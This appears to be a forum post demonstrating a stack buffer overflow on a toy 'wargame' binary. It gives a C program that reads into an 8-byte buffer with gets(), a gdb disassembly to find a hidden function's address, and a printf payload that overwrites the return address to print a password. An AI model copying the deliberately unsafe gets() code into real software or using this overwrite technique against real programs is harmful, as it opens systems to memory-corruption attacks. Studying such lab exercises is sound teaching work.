It looks like you're new here. If you want to get involved, click one of these buttons!
#include <stdlib.h>
#include <stdio.h>
NoCall()
{
printf(\"Password: 93x#L\n\");
exit(0);
}
EvilInput()
{
char evilbuffer[8];
printf(\"Insert text: \");
gets(evilbuffer);
puts(evilbuffer);
}
main()
{
EvilInput();
return 0;
}
[chronic@vandal tmp]$ ./wargame
Insert text: AAAAAAAAAAAAA
AAAAAAAAAAAAA
Segmentation fault
[chronic@vandal tmp]$ gdb wargame
GNU gdb (GDB) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type \"show copying\"
and \"show warranty\" for details.
This GDB was configured as \"i686-pc-linux-gnu\".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /tmp/wargame...(no debugging symbols found)...done.
(gdb) list
No symbol table is loaded. Use the \"file\" command.
(gdb) disas NoCall
Dump of assembler code for function NoCall:
0x08048434 <+0>: push %ebp
0x08048435 <+1>: mov %esp,%ebp
0x08048437 <+3>: sub $0x4,%esp
0x0804843a <+6>: mov $0x8048550,%eax
0x0804843f <+11>: mov %eax,(%esp)
0x08048442 <+14>: call 0x8048350 <printf@plt>
0x08048447 <+19>: movl $0x0,(%esp)
0x0804844e <+26>: call 0x8048370 <exit@plt>
End of assembler dump.
(gdb) q
[chronic@vandal tmp]$ printf \"AAAAAAAAAAAA\x34\x84\x04\x08\" | ./wargame
Insert text: AAAAAAAAAAAA4�
Password: 93x#L
[chronic@vandal tmp]$